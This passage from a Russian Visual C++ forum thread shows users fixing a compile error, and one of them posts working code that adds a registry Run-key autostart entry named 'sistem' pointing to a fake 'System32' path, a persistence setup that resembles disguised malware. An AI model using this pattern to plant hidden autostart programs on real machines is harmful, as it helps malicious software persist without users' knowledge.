Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > C/C++ программирование > Visual C++
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 11.11.2010, 15:57   #21
Blade
Software Engineer
Участник клуба
 
Аватар для Blade
 
Регистрация: 07.04.2007
Сообщений: 1,618
По умолчанию

У вас проблема с юникодом в проекте. Зайдите свойства проекта, раздел Общее, там в графе Набор символов выберите Использовать многобайтовую кодировку
Мужество есть лишь у тех, кто ощутил сердцем страх, кто смотрит в пропасть, но смотрит с гордостью в глазах. (с) Ария
Blade вне форума Ответить с цитированием
Старый 11.11.2010, 16:07   #22
Пепел Феникса
Старожил
 
Аватар для Пепел Феникса
 
Регистрация: 28.01.2009
Сообщений: 21,000
По умолчанию

Blade, не похоже что с Юникодом, ибо не wchar_t же требует, а const unsigned char
Хорошо поставленный вопрос это уже половина ответа. | Каков вопрос, таков ответ.
Программа делает то что написал программист, а не то что он хотел.
Функции/утилиты ждут в параметрах то что им надо, а не то что вы хотите.
Пепел Феникса вне форума Ответить с цитированием
Старый 11.11.2010, 19:26   #23
pufystyj
Форумчанин
 
Аватар для pufystyj
 
Регистрация: 10.11.2010
Сообщений: 569
Печаль

Цитата:
Сообщение от Blade Посмотреть сообщение
У вас проблема с юникодом в проекте. Зайдите свойства проекта, раздел Общее, там в графе Набор символов выберите Использовать многобайтовую кодировку
У мя англиская версия МVС++, я выбираю Project - settings - закладка General - Microsoft Foundation Classes там я понажымал, но ничего не случилось. мож я гдето не туда зашол... мои знание в англиском говорят что всё правельно...
Это ещё не конец и даже не начало конца, это возможно только конец начала.
pufystyj вне форума Ответить с цитированием
Старый 11.11.2010, 23:46   #24
Blade
Software Engineer
Участник клуба
 
Аватар для Blade
 
Регистрация: 07.04.2007
Сообщений: 1,618
По умолчанию

Смотрим описание функции RegSetValueEx()
Пишем правильный код
Код:
#include <windows.h>

int main()
{
	HKEY hg;
	const BYTE *data = (const unsigned char*)"C:\\System data\\System32\\sysdiag.exe";
	int size = strlen((const char *)data);

	RegOpenKeyEx(HKEY_CURRENT_USER, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_ALL_ACCESS, &hg);
	RegSetValueEx(hg, "sistem", 0, REG_SZ, data, size+1);
	RegCloseKey(hg);

	return 0;
}
Код полностью рабочий (при условии отключения Юникода), в реестре я проверил =))
Как отключить Юникод смотри выше в моем посте, или читай где-нибудь описание английской студии, ты не туда полез его отключать
Мужество есть лишь у тех, кто ощутил сердцем страх, кто смотрит в пропасть, но смотрит с гордостью в глазах. (с) Ария
Blade вне форума Ответить с цитированием
Старый 12.11.2010, 01:12   #25
pufystyj
Форумчанин
 
Аватар для pufystyj
 
Регистрация: 10.11.2010
Сообщений: 569
По умолчанию

Цитата:
Сообщение от Blade Посмотреть сообщение
Смотрим описание функции RegSetValueEx()
Пишем правильный код
Код:
#include <windows.h>

int main()
{
	HKEY hg;
	const BYTE *data = (const unsigned char*)"C:\\System data\\System32\\sysdiag.exe";
	int size = strlen((const char *)data);

	RegOpenKeyEx(HKEY_CURRENT_USER, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_ALL_ACCESS, &hg);
	RegSetValueEx(hg, "sistem", 0, REG_SZ, data, size+1);
	RegCloseKey(hg);

	return 0;
}
Код полностью рабочий (при условии отключения Юникода), в реестре я проверил =))
Как отключить Юникод смотри выше в моем посте, или читай где-нибудь описание английской студии, ты не туда полез его отключать
ура всё работает
!!!
Это ещё не конец и даже не начало конца, это возможно только конец начала.
pufystyj вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Запуск програмы в Windows XP nva2710 Win Api 5 05.09.2010 22:16
Две програмы Арсен1 Паскаль, Turbo Pascal, PascalABC.NET 5 02.07.2010 12:25
Програмы Паскаль Stima Помощь студентам 6 30.03.2010 17:10
Локализация програмы neo_m Помощь студентам 4 10.03.2008 15:24
запуск програмы ZhekON Общие вопросы Delphi 11 05.06.2007 16:05